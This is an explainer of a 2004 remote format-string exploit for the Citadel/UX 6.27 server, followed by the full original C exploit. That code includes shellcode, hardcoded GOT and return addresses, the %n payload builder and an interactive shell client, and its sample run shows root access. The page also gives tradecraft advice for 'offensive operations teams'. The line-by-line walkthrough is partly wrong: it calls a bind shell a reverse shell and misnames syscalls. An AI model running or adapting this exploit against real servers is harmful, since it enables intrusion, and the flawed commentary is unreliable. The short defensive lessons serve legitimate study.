Citadel/UX 6.27 Format String Exploit Explained

Citadel/UX 6.27 Format String Exploit Explained
What this paper is
This paper details a remote format string vulnerability in Citadel/UX version 6.27. The exploit allows an attacker to gain remote shell access to a vulnerable server by sending a specially crafted network packet. The vulnerability lies in how the Citadel/UX server handles user-supplied input that is then used in formatted output functions, such as printf.
Simple technical breakdown
The Citadel/UX server, when processing certain client connections, is susceptible to format string attacks. An attacker can send a string containing format specifiers (like %x, %s, %n) to the server. The server, instead of properly sanitizing this input, might use it directly in a printf-like function.
The %n format specifier is particularly dangerous. It writes the number of bytes printed so far to the memory address pointed to by the corresponding argument. By carefully crafting a string with multiple %n specifiers and controlling the number of bytes printed before each, an attacker can overwrite arbitrary memory locations.
In this exploit, the attacker targets the Global Offset Table (GOT) entry for the syslog function. The GOT is a table that stores the memory addresses of dynamically linked library functions. By overwriting the syslog GOT entry with the address of the shellcode (which is designed to spawn a shell), the attacker can hijack the program's execution flow. When the program later tries to call syslog, it will instead execute the shellcode.
The exploit also aims to overwrite a return address on the stack to ensure that after the format string vulnerability is triggered, control flow is directed to the shellcode.
Complete code and payload walkthrough
The provided C code is an exploit for Citadel/UX 6.27. It constructs a malicious network packet to trigger the format string vulnerability and establish a reverse shell.
main function
Includes and Definitions: Standard headers for network programming, I/O, and string manipulation.
BUFFERSIZE,ERROR,TIMEOUT,PORT(504 for Citadel), andSHELL(5074 for the reverse shell) are defined.shellcodearray: This is the actual payload, a sequence of bytes that will be executed on the target. It's 92 bytes long and written by "s0t4ipv6".\x31\xc0:xorl %eax, %eax- Clears theeaxregister.\x50:pushl %eax- Pusheseax(0) onto the stack.\x40:incl %eax- Incrementseaxto 1.\x89\xc3:movl %eax, %ebx- Moveseax(1) intoebx. This is likely preparing for thesocket()syscall.\x50:pushl %eax- Pusheseax(1) onto the stack.\x40:incl %eax- Incrementseaxto 2.\x50:pushl %eax- Pusheseax(2) onto the stack.\x89\xe1:movl %esp, %ecx- Moves the stack pointer (esp) intoecx. This sets upecxto point to the arguments forsocket().\xb0\x66:movb $0x66, %al- Moves the byte value0x66into the lower 8 bits ofeax(al).0x66is the syscall number forsocket().\xcd\x80:int $0x80- Triggers the Linux kernel interrupt to perform the syscall. This creates a socket.\x31\xd2:xorl %edx, %edx- Clearsedxto 0.\x52:pushl %edx- Pushesedx(0) onto the stack.\x66\x68\x13\xd2:pushw $0xd213- Pushes the word0xd213onto the stack. This is the port number (5074, which is0x13d2) for the reverse shell, in network byte order.\x43:incl %ebx- Incrementsebxto 2.\x66\x53:pushw %bx- Pushes the word value ofebx(2) onto the stack. This is the address family (AF_INET).\x89\xe1:movl %esp, %ecx- Moves the stack pointer intoecx. This sets upecxto point to the arguments forconnect().\x6a\x10:pushl $0x10- Pushes0x10(16) onto the stack. This is the size of thesockaddr_instructure.\x51:pushl %ecx- Pushes the currentecx(pointing to thesockaddr_instructure) onto the stack.\x50:pushl %eax- Pusheseax(which was incremented to 2, the syscall number forconnect()) onto the stack.\x89\xe1:movl %esp, %ecx- Moves the stack pointer intoecx. This sets upecxto point to the arguments forconnect().\xb0\x66:movb $0x66, %al- Moves0x66intoal. This is the syscall number forconnect().\xcd\x80:int $0x80- Triggers the syscall. This attempts to connect to the attacker's machine on port 5074.\x40:incl %eax- Incrementseaxto 3.\x89\x44\x24\x04:movl %eax, 0x4(%esp, 1)- Moveseax(3, the syscall number fordup2()) into the memory location 4 bytes above the stack pointer.\x43:incl %ebx- Incrementsebxto 3.\x43:incl %ebx- Incrementsebxto 4.\xb0\x66:movb $0x66, %al- Moves0x66intoal. This is the syscall number fordup2().\xcd\x80:int $0x80- Triggers the syscall. This is the firstdup2()call, likely to redirect stdin.\x83\xc4\x0c:addl $0xc, %esp- Adjusts the stack pointer by 12 bytes to clean up arguments.\x52:pushl %edx- Pushesedx(0) onto the stack.\x52:pushl %edx- Pushesedx(0) onto the stack.\x43:incl %ebx- Incrementsebxto 5.\xb0\x66:movb $0x66, %al- Moves0x66intoal. This is the syscall number fordup2().\xcd\x80:int $0x80- Triggers the syscall. This is the seconddup2()call, likely to redirect stdout.\x93:xchgl %eax, %ebx- Swapseaxandebx.eaxnow holds the socket file descriptor, andebxholds the syscall number forexecve().\x89\xd1:movl %edx, %ecx- Movesedx(0) intoecx. This will be theargvpointer forexecve().\xb0\x3f:movb $0x3f, %al- Moves0x3fintoal. This is the syscall number forexecve().\xcd\x80:int $0x80- Triggers the syscall. This is theexecve()call, butecxis NULL, so it will fail. This section seems to be setting up for theexecvecall.\x41:incl %ecx- Incrementsecxto 1.\x80\xf9\x03:cmpb $0x3, %cl- Compares the lower byte ofecxwith 3.\x75\xf6:jnz <shellcode+0x40>- If the comparison is not equal (i.e.,ecxis not 3), jump back toshellcode+0x40. This loop is likely for setting up theargvforexecve.\x52:pushl %edx- Pushesedx(0) onto the stack.\x68\x6e\x2f\x73\x68:pushl $0x68732f6e- Pushes the ASCII string "n/sh" onto the stack.\x68\x2f\x2f\x62\x69:pushl $0x69622f2f- Pushes the ASCII string "//bi" onto the stack.\x89\xe3:movl %esp, %ebx- Moves the stack pointer intoebx.ebxnow points to the string "//bin//sh".\x52:pushl %edx- Pushesedx(0) onto the stack.\x53:pushl %ebx- Pushesebx(pointer to "//bin//sh") onto the stack.\x89\xe1:movl %esp, %ecx- Moves the stack pointer intoecx.ecxnow points to theargvarray forexecve.\xb0\x0b:movb $0xb, %al- Moves0xbintoal. This is the syscall number forexecve().\xcd\x80:int $0x80- Triggers the syscall. This executes/bin/sh.
targetsarray: A small array holding information about known targets, specifically the operating system name, the GOT address forsyslog, and a target return address on the stack.{"Slackware Linux 10.0", 0x0809e9e8, 0xbfffd5fa}: This entry defines a specific target configuration.
Argument Parsing (
getopt):-h <host>: Specifies the target host or IP address.-g <arg>: Manually specifies thesyslogGOT address.-r <arg>: Manually specifies the return address on the stack.-t <arg>: Selects a target from thetargetsarray (currently only index 0 is valid).-l: Prints the list of available targets.
Initialization:
- Sets default values if arguments are missing.
- Prints target information.
Host Verification (
gethostbyname):- Resolves the target hostname to an IP address.
Socket Creation (
socket):- Creates a TCP socket.
Connection Setup:
- Configures the
sockaddr_instructure with the target IP and port (504). - Uses
connect_timeoutto attempt a connection with a timeout.
- Configures the
Buffer Construction:
bzero(buffer, sizeof(buffer)): Clears the buffer.strcat(buffer, "x"): Appends a single character 'x'. This is a placeholder and likely not critical for the exploit itself, but part of the initial data sent.- Overwriting GOT Entry:
- The loop
for(i = 0; i < 4; i++)iterates four times. bzero(temp, sizeof(temp)): Clears a temporary buffer.sprintf(temp, "%s", &gotaddr): This is a crucial part. It attempts to format thegotaddr(which is anunsigned int) as a string. This is where the format string vulnerability is likely exploited. Thesprintffunction, if used with a user-controlled format string, can lead to memory corruption. However, in this specific code,gotaddris an integer, and it's being passed as an argument tosprintfwhich is not the format string itself. Thesprintfcall here is likely intended to convert the address to bytes, but the way it's written ("%s") is problematic and might not behave as expected. It's more likely that the server's handling of the data after it's received is where the format string vulnerability lies, and this client code is just preparing the data to trigger it.strncat(buffer, temp, 4): Appends the (potentially malformed) string representation of the GOT address to the buffer.gotaddr++: Increments the GOT address. This is a common technique in format string exploits to overwrite consecutive memory locations. The exploit aims to overwrite thesyslogGOT entry by writing to addresses around it.
- The loop
- Calculating Padding and Format String:
bal1tobal4: Extracts the individual bytes of theretaddr(return address).cn1tocn4: Calculates the number of characters needed to print to reach specific memory locations for writing. This is done by subtracting the current position from the target address.cn1 = check(cn1): Calls thecheckfunction to adjust the count if it's negative or too small.p = buffer; p += 17;: Moves a pointerp17 bytes into the buffer.memset(p, '\x90', 50): Fills 50 bytes starting frompwith NOP sled (\x90). This is a common technique to increase the chances of hitting the shellcode if the exact jump address is slightly off.strcat(buffer, shellcode): Appends the shellcode to the buffer.sprintf(temp, "%%%du%%27$n%%%du%%28$n%%%du%%29$n%%%du%%30$n", cn1, cn2, cn3, cn4): This is the core of the format string payload.%%%du: Printscn1number of characters. The triple%is to escape the%so it's treated literally bysprintfwhen building the string, and then when the server processes it, it becomes a single%.%%27$n: This is the format specifier that writes the number of characters printed so far to the memory address provided by the 27th argument on the stack. The exploit carefully crafts thecnvalues and the order of these specifiers to overwrite specific memory locations.- The exploit uses four
%nspecifiers targeting arguments 27, 28, 29, and 30 on the stack. These arguments are expected to hold the addresses that need to be overwritten (derived from theretaddrandgotaddr).
Sending the Exploit:
recv(sockfd, temp, sizeof(temp), 0): Reads any initial banner or data from the server.send(sockfd, buffer, strlen(buffer), 0): Sends the crafted malicious buffer.send(sockfd, "\n", 1, 0): Sends a newline character, which might be necessary to finalize the command or trigger processing on the server.close(sockfd): Closes the initial connection.
Establishing Reverse Shell (
shellfunction):sleep(2): Waits for a short period, presumably for the server to process the exploit and start the shell.shell(host, SHELL): Calls theshellfunction to connect to the reverse shell on port 5074.
connect_timeout function
- This function implements a non-blocking socket connection with a timeout.
- It sets the socket to non-blocking mode.
- It initiates the
connectcall. - If the connection is not immediate, it uses
selectto wait for the socket to become writable or readable within the specifiedtimeout. - If
selectindicates the socket is ready, it restores the blocking mode and returns success. Otherwise, it returns an error.
check function
- Takes an
unsigned longaddress as input. - Converts the address to a string using
snprintf. - If the integer value of the address is less than 1, it adds 256 to it. This is likely a heuristic to handle negative offsets or small positive offsets that might cause issues with the
%nspecifier's byte counting.
use function
- Prints the usage instructions for the exploit program.
printlist function
- Prints the list of available targets defined in the
targetsarray.
shell function
- This function establishes a connection to the reverse shell that the
shellcodeis expected to spawn. - It resolves the target hostname.
- Creates a new socket.
- Connects to the target host on the
SHELLport (5074). - If the connection is successful, it prints a success message and enters an interactive loop.
- Interactive Loop:
- Uses
selectto monitor both standard input (keyboard) and the shell socket. - If data is available on standard input, it reads it and sends it to the shell socket.
- If data is available on the shell socket, it reads it and writes it to standard output. This effectively creates an interactive shell session.
- Uses
Practical details for offensive operations teams
- Required Access Level: Network access to the target host on port 504 (Citadel's service port). No prior local access is required.
- Lab Preconditions:
- A vulnerable Citadel/UX v6.27 server must be set up. This is a specific, older version.
- The target server must be reachable from the attacker's machine over the network.
- The attacker's machine must be able to listen on port 5074 for the incoming reverse shell.
- Firewalls must allow traffic to port 504 on the target and from the target to port 5074 on the attacker's machine.
- Tooling Assumptions:
- This exploit is written in C and requires a C compiler (like GCC) to build.
- Standard Linux utilities (like
netcator a custom listener) are needed on the attacker's machine to receive the reverse shell.
- Execution Pitfalls:
- Target Specificity: The
syslogGOT address and theRETaddress are highly specific to the target system's architecture, kernel, and the exact binary layout. The provided addresses (0x0809e9e8and0xbfffd5fa) are likely for a very specific environment (Slackware Linux 10.0, 2.4.26 kernel). Any deviation will require precise address discovery and recalculation. - Address Space Layout Randomization (ASLR): If the target system has ASLR enabled, the GOT and stack addresses will change with each execution, making this exploit unreliable without additional information gathering or bypass techniques. This exploit predates widespread ASLR adoption.
- Network Latency and Reliability: The
connect_timeoutfunction helps, but unstable network conditions can still cause the exploit to fail. - Server Response: The
recv(sockfd, temp, sizeof(temp), 0);line assumes the server sends some data that needs to be consumed before sending the exploit. If the server doesn't send data or sends unexpected data, this might need adjustment. - Shellcode Port: The shellcode is hardcoded to connect back to port 5074. If this port is blocked or already in use, the shell will not be established.
- Format String Variations: The exact format string
%%%du%%27$n...is tailored to the specific stack layout and the number of arguments expected by the vulnerableprintf-like function on the target. Minor changes in the server's code or stack usage could break this. checkfunction logic: Thecheckfunction's adjustment ofaddr = addr + 256ifatoi(tmp) < 1is a heuristic. It might not always be correct and could lead to writing to the wrong location.
- Target Specificity: The
- Tradecraft Considerations:
- Reconnaissance: Before deploying, it's crucial to confirm the target version and operating system to ensure the hardcoded addresses are valid. If not, address discovery techniques (e.g., information leaks, brute-forcing) would be necessary.
- Payload Customization: The shellcode might need to be modified for different architectures or to use a different callback port.
- Stealth: The initial connection to port 504 is a standard service port. The subsequent connection to port 5074 for the reverse shell might be more suspicious if not properly masked or if the port is unusual for outbound connections.
- Error Handling: The exploit has basic error handling, but in a real engagement, more robust logging and retry mechanisms might be desired.
Where this was used and when
- Context: This exploit targets Citadel/UX, which was a mail server software. The vulnerability was discovered and published in 2004.
- Usage: Format string vulnerabilities were a common class of vulnerabilities in the early to mid-2000s. This specific exploit would have been used against systems running Citadel/UX v6.27. Its primary use would have been for unauthorized access to mail servers, potentially for espionage, disruption, or as a pivot point into a network. Given the publication date, it's likely this exploit was used by security researchers for proof-of-concept demonstrations or by malicious actors shortly after its release.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. Applications must never trust user-supplied input. All external data, especially data used in sensitive operations like formatted output, must be rigorously validated and sanitized to remove or neutralize potentially malicious characters or sequences.
- Secure Coding Practices: Developers must be trained on common vulnerability classes like format string bugs. Using safer functions (e.g.,
snprintfwith a fixed format string) instead ofprintfwith user-controlled format strings is paramount. - Patch Management: Keeping software up-to-date is essential. Vulnerabilities like this are typically patched by vendors. Running outdated software is a significant risk.
- Memory Safety: While format string bugs are often about string handling, they exploit memory corruption. Modern languages and tools that enforce memory safety (e.g., Rust, static analysis tools) can help prevent such issues.
- Runtime Protections: Technologies like Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) make exploiting memory corruption vulnerabilities much harder, though they are not foolproof.
- Network Segmentation and Monitoring: Limiting the attack surface by segmenting networks and monitoring for unusual outbound connections (like a reverse shell to an unexpected port) can help detect and contain breaches.
- Intrusion Detection/Prevention Systems (IDS/IPS): Signature-based and anomaly-based IDS/IPS can potentially detect the malicious network traffic patterns associated with format string exploits.
ASCII visual (if applicable)
This exploit involves a client-server interaction and memory manipulation. A simple visual representation of the exploit's goal:
+-----------------+ +--------------------------+
| Attacker Client | ----> | Citadel/UX v6.27 Server |
+-----------------+ +--------------------------+
| |
| 1. Send Malicious | 2. Server processes input,
| Packet (Format | triggers format string
| String Payload) | vulnerability.
| |
| | 3. Overwrites syslog GOT
| | entry with shellcode address.
| | 4. Overwrites return address
| | to point to shellcode.
| |
| | 5. Server attempts to call
| | syslog, executes shellcode.
| |
| 6. Receive Reverse | 7. Shellcode spawns /bin/sh,
| Shell Connection | connects back to attacker.
| (Port 5074) |
+-------------------------+Source references
- Paper ID: 681
- Paper Title: Citadel/UX 6.27 - Format String
- Author: CoKi
- Published: 2004-12-12
- Keywords: Linux, remote
- Paper URL: https://www.exploit-db.com/papers/681
- Raw URL: https://www.exploit-db.com/raw/681
Original Exploit-DB Content (Verbatim)
/* citadel_fsexp.c
*
* Citadel/UX v6.27 remote format string exploit
*
* Use: ./citadel_fsexp -h <host> [options]
*
* options:
* -h <arg> host or IP
* -t <arg> type of target system
* -l targets list
* -g <arg> syslog GOT address
* -r <arg> RET address
*
* coki@nosystem:~/audit$ ./citadel_fsexp -h localhost -t0
*
* Citadel/UX v6.27 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] host : localhost
* [*] system : Slackware Linux 10.0
* [*] syslog GOT address : 0x0809e9e8
* [*] RET address : 0xbfffd5fa
*
* [+] verifying host... OK
* [+] conecting... OK
* [+] building exploit... OK
* [+] sending exploit... OK
*
* [+] waiting for shell...
* [+] connecting to shell... OK
*
* [!] you have a shell :)
*
* Linux nosystem 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),
* 11(floppy)
*
* Tested in Slackware 10.0
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define PORT 504
#define SHELL 5074
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx
"\x50" // pushl %eax
"\x40" // incl %eax
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl %ebx
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,%ecx
"\x6a\x10" // pushl $0x10
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl %edx
"\x52" // pushl %edx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl %eax,%ebx
"\x89\xd1" // movl %edx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz <shellcode+0x40>
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
struct {
char *os;
int got;
int ret;
}targets[] =
{"Slackware Linux 10.0", 0x0809e9e8, 0xbfffd5fa};
int main(int argc, char *argv[]) {
char buffer[BUFFERSIZE], temp[BUFFERSIZE];
char opt, *host=NULL, *system=NULL, *p;
int sockfd, i, retaddr=0, gotaddr=0, targetnum=0;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct hostent *he;
struct sockaddr_in dest_dir;
printf("\n Citadel/UX v6.27 remote format string exploit\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");
while ((opt = getopt(argc,argv,"h:g:r:t:l")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'g':
gotaddr = strtoul(optarg,NULL,0);
break;
case 'r':
retaddr = strtoul(optarg,NULL,0);
break;
case 't':
targetnum = atoi(optarg);
if(targetnum != 0) {
printf(" invalid target number!\n\n");
exit(0);
}
system = targets[targetnum].os;
gotaddr = targets[targetnum].got;
retaddr = targets[targetnum].ret;
break;
case 'l':
printlist();
break;
default:
use(argv[0]);
break;
}
}
if(host == NULL) use(argv[0]);
if(gotaddr == 0 || retaddr == 0) use(argv[0]);
if(system == NULL) system = "unknown";
printf(" [*] host\t\t\t: %s\n", host);
printf(" [*] system\t\t\t: %s\n", system);
printf(" [*] syslog GOT address\t\t: %010p\n", gotaddr);
printf(" [*] RET address\t\t: %010p\n\n", retaddr);
printf(" [+] verifying host...\t\t");
fflush(stdout);
if((he=gethostbyname(host)) == NULL) {
herror("Error");
printf("\n");
exit(1);
}
printf("OK\n");
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("\n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(PORT);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
printf(" [+] conecting...\t\t");
fflush(stdout);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf("Closed\n\n");
exit(1);
}
printf("OK\n");
printf(" [+] building evil buffer...\t");
fflush(stdout);
bzero(buffer, sizeof(buffer));
strcat(buffer, "x");
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &gotaddr);
strncat(buffer, temp, 4);
gotaddr++;
}
bal1 = (retaddr & 0xff000000) >> 24;
bal2 = (retaddr & 0x00ff0000) >> 16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);
cn1 = bal4 - 16 - 1 - 15 - 50 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);
p = buffer;
p += 17;
memset(p, '\x90', 50);
strcat(buffer, shellcode);
sprintf(temp, "%%%du%%27$n%%%du%%28$n%%%du%%29$n%%%du%%30$n",
cn1, cn2, cn3, cn4);
strcat(buffer, temp);
bzero(temp, sizeof(temp));
printf("OK\n");
printf(" [+] sending evil buffer...\t");
fflush(stdout);
recv(sockfd, temp, sizeof(temp), 0);
send(sockfd, buffer, strlen(buffer), 0);
send(sockfd, "\n", 1, 0);
close(sockfd);
printf("OK\n\n");
printf(" [+] waiting for shell...\n");
fflush(stdout);
sleep(2);
shell(host, SHELL);
}
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {
int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;
fcntl(sfd, F_SETFL, O_NONBLOCK);
res = connect(sfd, serv_addr, addrlen);
if (res >= 0) return res;
FD_ZERO(&rdf);
FD_ZERO(&wrf);
FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;
if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;
if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;
flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);
return 0;
}
return -1;
}
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;
return addr;
}
void use(char *program) {
printf(" Use: %s -h <host> [options]\n", program);
printf("\n options:\n");
printf(" -h <arg> host or IP\n");
printf(" -t <arg> type of target system\n");
printf(" -l targets list\n");
printf(" -g <arg> syslog GOT address\n");
printf(" -r <arg> RET address\n\n");
exit(1);
}
void printlist(void) {
printf(" targets\n");
printf(" -------\n\n");
printf(" [0] %s\n\n", targets[0].os);
exit(0);
}
void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE];
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;
printf(" [+] connecting to shell...\t");
fflush(stdout);
if((he=gethostbyname(host)) == NULL) {
herror("Error");
printf("\n");
exit(1);
}
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("\n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf("Closed\n\n");
printf(" [-] failed! perhaps the target has down...\n\n");
exit(1);
}
printf("OK\n\n");
printf(" [!] you have a shell :)\n\n");
fflush(stdout);
send(sockfd, "uname -a; id;\n", 14, 0);
while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}
// milw0rm.com [2004-12-12]